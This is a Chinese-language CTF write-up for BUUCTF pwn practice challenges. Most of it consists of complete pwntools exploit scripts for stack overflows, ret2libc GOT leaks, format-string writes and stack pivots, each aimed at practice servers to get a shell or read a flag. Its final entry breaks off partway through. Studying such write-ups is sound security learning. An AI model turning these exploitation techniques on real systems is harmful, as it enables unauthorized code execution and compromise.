Buuctf pwn练习 [TOC]
buu资源文件 ,特别是libc 文件
test_your_nc 连上直接拿shell
rip 明显的危险函数gets,栈溢出,写入的地址在rbp前15字节里,另外还发现一个后门函数fun
看一下保护全关
先打一下试试
1 2 3 4 5 6 7 8 9 10 from pwn import *context.gdb_binary='pwndbg' context.arch='amd64' r=process('./pwn1' ) payload=b'a' *15 +b'a' *8 +p64(0x0401186 ) r.sendline(payload) r.interactive()
没打通,动态调试一下,在main函数ret处下个断点
确实可以跳到fun,继续跑,发现运行system时就停了
进system函数调试,跑到这里就跑不下去了,提示<[0x7ffd46442c08] not aligned to 16 bytes>,是栈没有对齐,可以看到这个地址是在栈当中的,地址要是16的倍数才能运行
跳过fun第一条的push rbp栈就满足对齐的条件了
1 2 3 4 5 6 7 8 9 10 from pwn import *context.gdb_binary='pwndbg' context.arch='amd64' r=remote('node5.buuoj.cn' ,27034 ) payload=b'a' *15 +b'a' *8 +p64(0x00401187 ) r.sendline(payload) r.interactive()
warmup_csaw_2016 ida看到gets,依旧栈溢出
看一下函数表有system,跟进一下,发现一个能输出flag的函数
依旧栈对齐
1 2 3 4 5 6 7 8 9 10 from pwn import *context.gdb_binary='pwndbg' context.arch='amd64' r=remote('node5.buuoj.cn' ,26265 ) payload=b'a' *0x40 +b'a' *8 +p64(0x040060E ) r.sendline(payload) r.interactive()
ciscn_2019_n_1 判断float局部变量是不是nan和目标值是否相等,是nan或者不等就跳走,依旧栈溢出,不过不是覆盖返回地址,而是覆盖main函数局部变量的小数
这里我先想到的是返回地址覆盖0x4006BE这个地址直接执行system(“cat /flag”),当然可能栈可能会有不平衡的可能,但是幸运的是没有
1 2 3 4 5 6 7 8 9 10 from pwn import *context.gdb_binary='pwndbg' r=remote('node5.buuoj.cn' ,28653 ) payload=b'a' *0x30 +b'a' *8 +p32(0x04006BE ) r.sendline(payload) r.interactive()
再做一遍覆盖局部变量的做法,找到要覆盖的值
1 2 3 4 5 6 7 8 9 10 from pwn import *context.gdb_binary='pwndbg' r=remote('node5.buuoj.cn' ,28653 ) payload=b'a' *(0x30 -4 )+p32(0x41348000 ) r.sendline(payload) r.interactive()
pwn1_sctf_2016 发现危险函数strcpy ,依旧栈溢出,还找到目标函数get_flag ,但是fgets 是安全函数,最多只能接受32也就是0x20个字符,但是后面进行了替换,让替换后的字符通过strcpy溢出就行了,I 被替换成了you ,
返回地址前要0x3c+4字节,那我们用0x15个I再加一个字符行了,后面接上我们要执行的地址,总共0x1a个字符
1 2 3 4 5 6 7 8 9 10 11 from pwn import *context.gdb_binary='pwndbg' r=remote('node5.buuoj.cn' ,27782 ) payload=b'I' *(0x15 )+b'b' +p32(0x08048F0D ) r.sendline(payload) r.interactive()
jarvisoj_level0 依旧栈溢出,0x80的空间可以写入0x200字节,还有后门函数,调了一下需要栈对齐,那么直接跳过callsystem 的第一个push 吧
1 2 3 4 5 6 7 8 9 10 11 from pwn import *context.gdb_binary='pwndbg' r=remote('node5.buuoj.cn' ,25637 ) payload=b'I' *(0x80 )+b'b' *8 +p64(0x0400597 ) r.sendline(payload) r.interactive()
[第五空间2019 决赛]PWN5 ida打开我们输入的name字符串会传入到printf第一个参数执行,可以利用格式化字符串漏洞,buf_是全局变量,在bss段能找到地址
printf函数不会检查第一个参数占位符和参数是否匹配,会按照占位符的去对应的位置取数据,因为越后面的参数,栈上的地址就越高
stack
printf执行完返回的地址
printf的参数
main的局部变量
如果这里我们没有给足printf参数,字符串的占位符就会访问到main的局部变量
printf格式化字符串不仅可以读取,还能写入数据
%Nd,%Nc可以输出N个字符
%p可以把对应位置的数据用16进制输出出来,%N$p可以指定位置,N为1时就是相当于第一个占位符
%n,%hn,%hhn分别可以在对应位置的数据当做地址写入4,2,1字节输出到该%前字符的个数,同样的可以用%N$n等指定位置
我们先通过写入aaaa标记buf的值,然后通过多个%p去找,如果对应位置出现0x61616161那么就是buf的位置
可以看到在第10个位置打印出了0x61616161,也就是这个位置就是buf在栈上的位置,我们把它修改为buf_的地址,那么我们就能通过%n修改这个地址的值,也就是修改buf_的值
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *context.gdb_binary='pwndbg' r=remote('node5.buuoj.cn' ,27753 ) payload=p32(0x0804C044 )+b'%10$n' r.sendline(payload) r.sendline('4' ) r.interactive()
jarvisoj_level2 ida进到main函数一直往下看,read函数明显有漏洞,依旧栈溢出,只有0x88的空间,但是能读0x100个字符
跟进main时看到system函数,查看交叉引用都不是后门,
我们需要/bin/sh字符串的地址,ida查看字符串,在data段发现了这个字符串
构造payload,模拟正常call system时栈的状态
stack
return_addr
arg1=/bin/sh
1 2 3 4 5 6 7 8 9 10 11 from pwn import *context.gdb_binary='pwndbg' r=remote('node5.buuoj.cn' ,26726 ) payload=b'a' *0x88 +b'b' *4 +p32(0x08048320 )+b'retn' +p32(0x0804A024 ) r.sendline(payload) r.interactive()
ciscn_2019_n_8 scanf和gets一样不会检查长度,依旧是溢出,但这次不是栈溢出,var和n17都是全局变量,放在了bss段,我们通过溢出覆盖n17的值就能拿到shell了
1 2 3 4 5 6 7 8 9 10 11 from pwn import *context.gdb_binary='pwndbg' r=remote('node5.buuoj.cn' ,28983 ) payload=b'a' *0x34 +p32(17 ) r.sendline(payload) r.interactive()
bjdctf_2020_babystack ida打开看到先是scanf读取一个数字到nbytes里,然后read再往rbp-0x10里写入刚刚输入数字的字符,依旧栈溢出
提一下,x64的前6个参数分别放在rdi,rsi,rdx,rcx,r8,r9,超过的放在栈上
发现后门函数,直接用会发现栈没有对齐,直接跳到push下一行
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *context.gdb_binary='pwndbg' r=remote('node5.buuoj.cn' ,29008 ) r.sendline(str (100 )) payload=b'a' *0x10 +b'b' *8 +p64(0x04006E7 ) r.sendline(payload) r.interactive()
ciscn_2019_c_1 运行可以看到是一个加密系统,ida查看加密函数可以看到gets,依旧栈溢出,没有后门函数利用,也没有system,/bin/sh
encrypt函数会把传进来的数据进行处理,处理长度是根据strlen计算的,实际上就是计算到\x00的长度
strlen源码确实是这样的
这样的话我们把第一个字符设为\x00就不会操作我们后面的数据了
因为这是64位,我们不能通过栈传递参数了,用ROPgadget找一个pop rdi;ret,来用栈上的数据给rdi赋值,再继续ret执行下一条指令
可以看出是动态链接dynamically linked ,库函数并不在文件里,我们需要获取libc里真实的函数地址
构造payload,我们先用puts把puts的got打印出来,再ret到encrypt进行循环,把gets的got也打印出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *context.gdb_binary='pwndbg' filename='./ciscn_2019_c_1' elf=ELF(filename) r=remote('node5.buuoj.cn' ,28139 ) puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] gets_got=elf.got['gets' ] pop_rdi_ret=0x0400c83 encrypt_addr=0x04009A0 r.sendline('1' ) r.recvuntil('encrypted\n' ) payload=b'\x00' +b'a' *(0x50 -1 )+b'b' *8 +p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(encrypt_addr) r.sendline(payload) r.recvline() r.recvline() gets_addr=u64(r.recvline()[:-1 ].ljust(8 ,b'\x00' )) print (hex (gets_addr))r.recv() payload=b'\x00' +b'a' *(0x50 -1 )+b'b' *8 +p64(pop_rdi_ret)+p64(gets_got)+p64(puts_plt)+p64(encrypt_addr) r.sendline(payload) r.recvline() r.recvline() puts_addr=u64(r.recvline()[:-1 ].ljust(8 ,b'\x00' )) print (hex (puts_addr))r.interactive()
在线查一下libc 获取libc的system和/bin/sh的偏移地址,还有puts的地址,用来计算libc基址
打了一下,没通,用ret平衡一下栈就通了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import *context.gdb_binary='pwndbg' filename='./ciscn_2019_c_1' elf=ELF(filename) r=remote('node5.buuoj.cn' ,28139 ) puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] gets_got=elf.got['gets' ] pop_rdi_ret=0x0400c83 ret=0x04006b9 encrypt_addr=0x04009A0 r.sendline('1' ) r.recvuntil('encrypted\n' ) payload=b'\x00' +b'a' *(0x50 -1 )+b'b' *8 +p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(encrypt_addr) r.sendline(payload) r.recvline() r.recvline() puts_addr=u64(r.recvline()[:-1 ].ljust(8 ,b'\x00' )) print (hex (puts_addr))libc_base=puts_addr-0x809c0 str_bin_sh=libc_base+0x1b3e9a system_addr=libc_base+0x4f440 r.recv() payload=b'\x00' +b'a' *(0x50 -1 )+b'b' *8 +p64(ret)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr) r.sendline(payload) r.recvline() r.recvline() r.interactive()
jarvisoj_level2_x64 vulnerable_function处_read可以栈溢出,有system plt,/bin/sh字符串,找个pop rdi;ret和ret的gadget就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *context.gdb_binary='pwndbg' filename='./level2_x64' elf=ELF(filename) r=remote('node5.buuoj.cn' ,29473 ) pop_rdi=0x04006b3 ret=0x04004a1 payload=b'a' *0x80 +b'b' *8 +p64(ret)+p64(pop_rdi)+p64(0x0600A90 )+p64(0x04004C0 ) r.sendline(payload) r.interactive()
get_started_3dsctf_2016 用ida打开发现很乱,用objdump看看,发现不是标准的cdecl调用约定,参数是从esp开始的,使用esp寻址而不是ebp
本地能打通,但是远程没通,用ida mcp问下ai,说是缓冲区刷新问题
看看源码
这里触发了flush操作,继续跟进
_IO_OVERFLOW是个宏,实际上就是虚函数调用fp->vtable->__overflow(fp, EOF),根据文件流的类型,__overflow绑定的函数也不一样,我们的stdout绑定的是_IO_file_overflow
_IO_file_overflow实际上是_IO_new_file_overflow
_IO_new_file_overflow调用了_IO_do_write
_IO_do_write实际上又是_IO_new_do_write,它又调用了new_do_write,在他里面调用_IO_SYSWRITE才是真的写出数据
说这么多其实就是exit函数会自动flush
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *context.gdb_binary='pwndbg' filename='./get_started_3dsctf_2016' elf=ELF(filename) r=remote('node5.buuoj.cn' ,29826 ) payload=b'a' *0x38 +p32(0x080489a0 )+p32(0x0804E6A0 )+p32(0x308cd64f )+p32(0x195719d1 ) r.sendline(payload) r.interactive()
[HarekazeCTF2019]baby_rop 看一下scanf函数栈溢出,还有system函数,/bin/sh也有
因为是64位的,所以需要一个pop rdi;ret的gadget,还有单独的ret防止system被调用时没有对齐栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *context.gdb_binary='pwndbg' filename='./babyrop' elf=ELF(filename) r=remote('node5.buuoj.cn' ,27478 ) pop_rdi=0x00400683 ret=0x0400479 bin_sh=elf.sym['binsh' ] system_addr=elf.plt['system' ] payload=b'a' *0x18 +p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr) r.sendline(payload) r.interactive()
others_shellcode 连上直接拿到shell,调试看一下
int 0x80这条指令实际上是执行了SYS_execve函数,这是linux内核的函数,查一下源码,int 0x80是syscall,而syscall根据eax的值执行不同的函数
程序的eax=0xb=11,执行了sys_execve函数,execve("/bin/sh",buf,0);,syscall(eax,ebx,ecx,edx)
[OGeek2019]babyrop ida看到这个sub_804871F函数里用strlen计算了我们输入字符串的长度,我们可以通过\x00截断跳过比较,我们就可以控制bufa的内容
我们可以控制nbytes的值,造成栈溢出,只要我们nbytes不为127,就能往buff写入nbytes个字节,nbytes是char最大只有255
要覆盖ebp我们需要输入0xe7+4字节,那么我们从esp最多能写入5条4字节数据
先leak出write的真实地址,根据题目给的libc计算system和/bin/sh字符串的的真实地址,利用栈溢出执行system("/bin/sh")
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 from pwn import *context.gdb_binary='pwndbg' config={ 'filename' :'./pwn' , 'remote' :1 , 'debug' :0 , 'log' :0 , 'host' :'node5.buuoj.cn' , 'port' :25957 } def init (): elf=ELF(config['filename' ]) if config['remote' ]: p=remote(config['host' ],config['port' ]) else : p=process(config['filename' ]) if config['debug' ]: gdb.attach(p) input ('enter to run' ) if config['log' ]: context.log_level = 'debug' return p,elf p,elf=init() def leak_addr (got_addr,name='addr' ): payload=b'a' *0xe7 payload+=b'a' *4 payload+=p32(write_plt) payload+=p32(main) payload+=p32(1 ) payload+=p32(got_addr) payload+=p32(4 ) p.sendline(payload) addr=u32(p.recv(4 )) print (f'{name} : {hex (addr)} ' ) return addr write_plt=elf.plt['write' ] write_got=elf.got['write' ] main=0x08048825 payload=b'\x00' +b'\xff' *30 p.sendline(payload) p.recvline() write_addr=leak_addr(write_got,'*write_got' ) libc=ELF('./libc-2.23.so' ) libc_base=write_addr-libc.sym['write' ] system_addr=libc.sym['system' ]+libc_base binsh_addr = libc_base + next (libc.search('/bin/sh' .encode())) payload=b'\x00' +b'\xff' *30 p.sendline(payload) p.recvline() payload=b'a' *0xe7 payload+=b'a' *4 payload+=p32(system_addr) payload+=p32(main) payload+=p32(binsh_addr) p.sendline(payload) p.interactive()
ciscn_2019_n_5 main函数里看到危险函数gets,栈溢出,有个全局变量name在bss段可写,我们可以在里面写/bin/sh,通过ROP泄露puts地址,再获取system地址就能构造system("/bin/sh")了
checksec看一下,保护全关,好像段权限有点大,不过调试了一下没有执行权限不能写shellcode
拿一下gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 from pwn import *import libcfindcontext.gdb_binary='pwndbg' config={ 'filename' :'./ciscn_2019_n_5' , 'remote' :1 , 'debug' :0 , 'log' :0 , 'host' :'node5.buuoj.cn' , 'port' :29069 } def init (): elf=ELF(config['filename' ]) if config['remote' ]: p=remote(config['host' ],config['port' ]) else : p=process(config['filename' ]) if config['debug' ]: gdb.attach(p) input ('enter to run' ) if config['log' ]==1 : context.log_level = 'debug' return p,elf p,elf=init() def leak_addr (got_addr,name='addr' ): payload=b'a' *0x20 payload+=b'a' *8 payload+=p64(pop_rdi) payload+=p64(got_addr) payload+=p64(puts_plt) payload+=p64(main) p.sendline(payload) addr=u64(p.recvline()[:-1 ].ljust(8 ,b'\x00' )) print (f'{name} : {hex (addr)} ' ) return addr puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] main=elf.sym['main' ] pop_rdi=0x0000000000400713 ret=0x00000000004004c9 p.recvline() p.sendline('1' ) p.recvline() p.recvline() puts_addr=leak_addr(puts_got,'puts' ) libc=libcfind.finder('puts' ,puts_addr,num=1 ) system_addr=libc.dump('system' ) binsh=libc.dump('str_bin_sh' ) p.recvline() p.sendline('1' ) p.recvline() p.recvline() payload=b'a' *0x20 payload+=b'a' *8 payload+=p64(ret) payload+=p64(pop_rdi) payload+=p64(binsh) payload+=p64(system_addr) payload+=p64(0 ) p.sendline(payload) p.interactive()
not_the_same_3dsctf_2016 栈溢出,get_secret可以把flag从文件中读取出来存到bss段里
函数表有很多函数,看了一下是静态编译
找一个能打印的函数,main函数用了printf,直接用这个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *context.gdb_binary='pwndbg' config={ 'filename' :'./not_the_same_3dsctf_2016' , 'remote' :1 , 'debug' :0 , 'log' :0 , 'host' :'node5.buuoj.cn' , 'port' :29871 } def init (): elf=ELF(config['filename' ]) if config['remote' ]: p=remote(config['host' ],config['port' ]) else : p=process(config['filename' ]) if config['debug' ]: gdb.attach(p) input ('enter to run' ) if config['log' ]: context.log_level = 'debug' return p,elf p,elf=init() payload=b'a' *0x2d payload+=p32(elf.sym['get_secret' ]) payload+=p32(elf.sym['printf' ]) payload+=p32(elf.sym['exit' ]) payload+=p32(elf.sym['fl4g' ]) p.sendline(payload) p.interactive()
ciscn_2019_en_2 和ciscn_2019_c_1 一样
ciscn_2019_ne_5 AddLog可以往src写入128个字符,也就是0x80字符
GetFlag可以把src的字符复制到dest上,但是0x80字符大于0x48,可以造成栈溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 from pwn import *import libcfindcontext.gdb_binary='pwndbg' config={ 'filename' :'./ciscn_2019_ne_5' , 'remote' :1 , 'debug' :0 , 'log' :1 , 'host' :'node5.buuoj.cn' , 'port' :26582 } def init (): elf=ELF(config['filename' ]) if config['remote' ]: p=remote(config['host' ],config['port' ]) else : p=process(config['filename' ]) if config['debug' ]: gdb.attach(p) input ('enter to run' ) if config['log' ]: context.log_level = 'debug' return p,elf p,elf=init() puts_plt=elf.plt['puts' ] system_plt=elf.plt['system' ] system_got=elf.got['system' ] main=elf.sym['main' ] p.sendlineafter(':' ,'administrator' ) p.recvuntil(':' ) p.sendlineafter(':' ,'3' ) p.recvuntil(':' ) p.sendlineafter(':' ,'1' ) payload=b'a' *0x48 payload+=b'a' *4 payload+=p32(puts_plt) payload+=p32(main) payload+=p32(system_got) p.sendlineafter(':' ,payload) p.recvuntil(':' ) p.sendlineafter(':' ,'4' ) p.recvline() system_addr=u32(p.recvline()[:4 ]) print (f"system: {hex (system_addr)} " )libc=libcfind.finder('system' ,system_addr) binsh=libc.dump('str_bin_sh' ) p.sendlineafter(':' ,'administrator' ) p.recvuntil(':' ) p.sendlineafter(':' ,'1' ) payload=b'a' *0x48 payload+=b'a' *4 payload+=p32(system_addr) payload+=p32(main) payload+=p32(binsh) p.sendlineafter(':' ,payload) p.recvuntil(':' ) p.sendlineafter(':' ,'4' ) p.interactive()
铁人三项(第五赛区)_2018_rop 栈溢出,leak地址,拿到libc符号地址,调用system('/bin/sh')
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 from pwn import *import libcfindcontext.gdb_binary='pwndbg' config={ 'filename' :'./2018_rop' , 'remote' :1 , 'debug' :0 , 'log' :0 , 'host' :'node5.buuoj.cn' , 'port' :27685 } def init (): elf=ELF(config['filename' ]) if config['remote' ]: p=remote(config['host' ],config['port' ]) else : p=process(config['filename' ]) if config['debug' ]: gdb.attach(p) input ('enter to run' ) if config['log' ]: context.log_level = 'debug' return p,elf def leak_addr (got_addr,name='addr' ): payload=b'a' *0x88 payload+=b'a' *4 payload+=p32(write_plt) payload+=p32(main) payload+=p32(1 ) payload+=p32(got_addr) payload+=p32(4 ) p.sendline(payload) addr=u32(p.recv(4 )) print (f'{name} : {hex (addr)} ' ) return addr p,elf=init() write_plt=elf.plt['write' ] write_got=elf.got['write' ] main=elf.sym['main' ] write_addr=leak_addr(write_got,'write' ) libc=libcfind.finder('write' ,write_addr) system_addr=libc.dump('system' ) binsh=libc.dump('str_bin_sh' ) payload=b'a' *0x88 payload+=b'a' *4 payload+=p32(system_addr) payload+=p32(main) payload+=p32(binsh) p.sendline(payload) p.interactive()
bjdctf_2020_babystack2 需要输入读取字节的长度并进行判断,直接用负数,调用read函数时被转成无符号数了,栈溢出,还有个后门函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import *import libcfindcontext.gdb_binary='pwndbg' config={ 'filename' :'./bjdctf_2020_babystack2' , 'remote' :1 , 'debug' :0 , 'log' :0 , 'host' :'node5.buuoj.cn' , 'port' :28771 } def init (): elf=ELF(config['filename' ]) if config['remote' ]: p=remote(config['host' ],config['port' ]) else : p=process(config['filename' ]) if config['debug' ]: gdb.attach(p) input ('enter to run' ) if config['log' ]: context.log_level = 'debug' return p,elf p,elf=init() p.sendline('-1' ) rop=ROP(elf) payload=b'a' *0x10 payload+=b'a' *8 payload+=p64(elf.sym['backdoor' ]) p.sendline(payload) p.interactive()
jarvisoj_fm read没有溢出了,但是我们输入的数据会传给printf的第一个参数打印出来,格式化字符串漏洞,试试pwntools的库
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import *import libcfindcontext.gdb_binary='pwndbg' config={ 'filename' :'./fm' , 'remote' :1 , 'debug' :0 , 'log' :0 , 'host' :'node5.buuoj.cn' , 'port' :26151 } def init (): elf=ELF(config['filename' ]) if config['remote' ]: p=remote(config['host' ],config['port' ]) else : p=process(config['filename' ]) if config['debug' ]: gdb.attach(p) input ('enter to run' ) if config['log' ]: context.log_level = 'debug' return p,elf p,elf=init() def exec_fmt (payload ): p = process(config['filename' ]) p.sendline(payload) return p.recvall() autofmt = FmtStr(exec_fmt) offset = autofmt.offset payload = fmtstr_payload(offset, {elf.sym['x' ]: 4 },write_size='int' ) p.sendline(payload) p.interactive()
bjdctf_2020_babyrop 栈溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 from pwn import *import libcfindcontext.gdb_binary='pwndbg' config={ 'filename' :'./bjdctf_2020_babyrop' , 'remote' :1 , 'debug' :0 , 'log' :0 , 'host' :'node5.buuoj.cn' , 'port' :26204 } def init (): elf=ELF(config['filename' ]) if config['remote' ]: p=remote(config['host' ],config['port' ]) else : p=process(config['filename' ]) if config['debug' ]: gdb.attach(p) input ('enter to run' ) if config['log' ]: context.log_level = 'debug' return p,elf def leak_addr (got_addr,name='addr' ): payload=b'a' *0x20 payload+=b'a' *8 payload+=p64(pop_rdi) payload+=p64(got_addr) payload+=p64(puts_plt) payload+=p64(main) p.sendline(payload) addr=u64(p.recvline(drop=True ).ljust(8 ,b'\x00' )) print (f'{name} : {hex (addr)} ' ) return addr p,elf=init() puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] main=elf.sym['main' ] rop=ROP(elf) pop_rdi=rop.rdi.address ret=rop.ret.address p.recvuntil('story!\n' ) puts_addr=leak_addr(puts_got,'puts' ) binsh=puts_addr+ 0x11d6c7 system_addr=puts_addr -0x2a300 p.recvuntil('story!\n' ) payload=b'a' *0x20 payload+=b'a' *8 payload+=p64(pop_rdi) payload+=p64(binsh) payload+=p64(ret) payload+=p64(system_addr) payload+=p64(main) p.sendline(payload) p.interactive()
jarvisoj_tell_me_something 栈溢出,但是没有使用rbp寻址,good_game函数直接打印flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import *import libcfindcontext.gdb_binary='pwndbg' config={ 'filename' :'./guestbook' , 'remote' :1 , 'debug' :0 , 'log' :0 , 'host' :'node5.buuoj.cn' , 'port' :25610 } def init (): elf=ELF(config['filename' ]) if config['remote' ]: p=remote(config['host' ],config['port' ]) else : p=process(config['filename' ]) if config['debug' ]: gdb.attach(p) input ('enter to run' ) if config['log' ]: context.log_level = 'debug' return p,elf p,elf=init() goodGame=elf.sym['good_game' ] p.recvuntil('Input your message:\n' ) payload=b'a' *0x88 payload+=p64(goodGame) p.sendline(payload) p.interactive()
ciscn_2019_es_2 栈溢出,但是只能覆盖返回地址,需要栈迁移
正常调用是这样的
现在我们可以通过修改old ebp和return address,ret到一个leave;ret上
至此esp就被我们放到新的地址,这个地址就是我们在原来ebp位置的值,我们可以通过溢出覆盖它
首先调用了printf把我们输入的数据打印出来,但是通过溢出,我们可以让s和ebp连起来,被ebp当做s这个字符串的一部分输出出来,获得栈的地址,然后把esp跳到s上进行迁移就好了
调试找偏移,断在vul的leave上
1 2 3 4 5 6 7 8 9 10 11 12 payload=b'a' *0x28 p.send(payload) p.recvuntil(payload) old_ebp=u32(p.recv(4 )) print (hex (old_ebp))payload=b'b' *0x28 payload+=p32(old_ebp) payload+=p32(0x80485FD ) p.sendline(payload)
查一下s的地址
跑到第二个leave;ret的ret上,计算出s相对于ret地址的偏移
同样的再计算一下/bin/sh偏移
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from pwn import *import libcfindcontext.gdb_binary='pwndbg' config={ 'filename' :'./ciscn_2019_es_2' , 'remote' :1 , 'debug' :0 , 'log' :0 , 'host' :'node5.buuoj.cn' , 'port' :28783 } def init (): elf=ELF(config['filename' ]) if config['remote' ]: p=remote(config['host' ],config['port' ]) else : p=process(config['filename' ]) if config['debug' ]: gdb.attach(p) input ('enter to run' ) if config['log' ]: context.log_level = 'debug' return p,elf p,elf=init() rop=ROP(elf) leave=rop.leave.address payload=b'a' *0x28 p.send(payload) p.recvuntil(payload) old_ebp=u32(p.recv(4 )) print (hex (old_ebp))system_plt=elf.plt['system' ] payload=p32(system_plt) payload+=p32(0 ) payload+=p32(old_ebp-0x3c +4 *4 ) payload+=b'/bin/sh\x00' payload=payload.ljust(0x28 ) payload+=p32(old_ebp-0x3c ) payload+=p32(0x80485FD ) p.sendline(payload) p.interactive()
[HarekazeCTF2019]baby_rop2 栈溢出,printf的地址有`x00`,会被截断,找其他函数的got表,还有3个可以用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 from pwn import *import libcfindcontext.gdb_binary='pwndbg' config={ 'filename' :'./babyrop2' , 'remote' :1 , 'debug' :0 , 'log' :1 , 'host' :'node5.buuoj.cn' , 'port' :27770 } def init (): elf=ELF(config['filename' ]) if config['remote' ]: p=remote(config['host' ],config['port' ]) else : p=process(config['filename' ]) if config['debug' ]: gdb.attach(p) input ('enter to run' ) if config['log' ]: context.log_level = 'debug' return p,elf def leak_addr (got_addr,name='addr' ): payload=b'a' *0x20 payload+=b'a' *8 payload+=p64(pop_rdi) payload+=p64(got_addr) payload+=p64(printf_plt) payload+=p64(main) p.sendline(payload) p.recvuntil('!\n' ) addr=u64(p.recvuntil("What's your name? " ).replace(b"What's your name? " ,b'' ).ljust(8 ,b'\x00' )) print (f'{name} : {hex (addr)} ' ) return addr p,elf=init() rop=ROP(elf) pop_rdi=rop.rdi.address ret=rop.ret.address printf_plt=elf.plt['printf' ] read_got=elf.got['read' ] main=elf.sym['main' ] read_addr=leak_addr(read_got,'read' ) libc=ELF('./libc.so.6' ) base=read_addr-libc.sym['read' ] binsh = base + next (libc.search('/bin/sh' )) system_addr=base+libc.sym['system' ] payload=b'a' *0x20 payload+=b'a' *8 payload+=p64(pop_rdi) payload+=p64(binsh) payload+=p64(system_addr) payload+=p64(main) p.sendline(payload) p.interactive()
picoctf_2018_rop chain 栈溢出,通过3个函数打印flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import *import libcfindcontext.gdb_binary='pwndbg' config={ 'filename' :'./PicoCTF_2018_rop_chain' , 'remote' :1 , 'debug' :0 , 'log' :0 , 'host' :'node5.buuoj.cn' , 'port' :25737 } def init (): elf=ELF(config['filename' ]) if config['remote' ]: p=remote(config['host' ],config['port' ]) else : p=process(config['filename' ]) if config['debug' ]: gdb.attach(p) input ('enter to run' ) if config['log' ]: context.log_level = 'debug' return p,elf p,elf=init() payload=b'a' *0x18 payload+=b'a' *4 payload+=p32(elf.sym['win_function1' ]) payload+=p32(elf.sym['win_function2' ]) payload+=p32(elf.sym['flag' ]) payload+=p32(0xBAAAAAAD ) payload+=p32(0xDEADBAAD ) p.sendline(payload) p.interactive()
wustctf2020_getshell 栈溢出,只能覆盖到esp,有后门函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *import libcfindcontext.gdb_binary='pwndbg' config={ 'filename' :'./wustctf2020_getshell' , 'remote' :1 , 'debug' :0 , 'log' :0 , 'host' :'node5.buuoj.cn' , 'port' :27549 } def init (): elf=ELF(config['filename' ]) if config['remote' ]: p=remote(config['host' ],config['port' ]) else : p=process(config['filename' ]) if config['debug' ]: gdb.attach(p) input ('enter to run' ) if config['log' ]: context.log_level = 'debug' return p,elf p,elf=init() p.sendline(flat(b'a' *0x1c ,elf.sym['shell' ])) p.interactive()
pwn2_sctf_2016 负数溢出,然后栈溢出
翻到一个系统调用指令,还有寄存器操作指令
调试一下,看看执行到ret时的状态,如果要利用系统调用需要满足表格的条件然后执行int 0x80,但是ebx不是栈的地址,bss段也没有/bin/sh
寄存器
值
eax
11
ebx
/bin/sh的地址
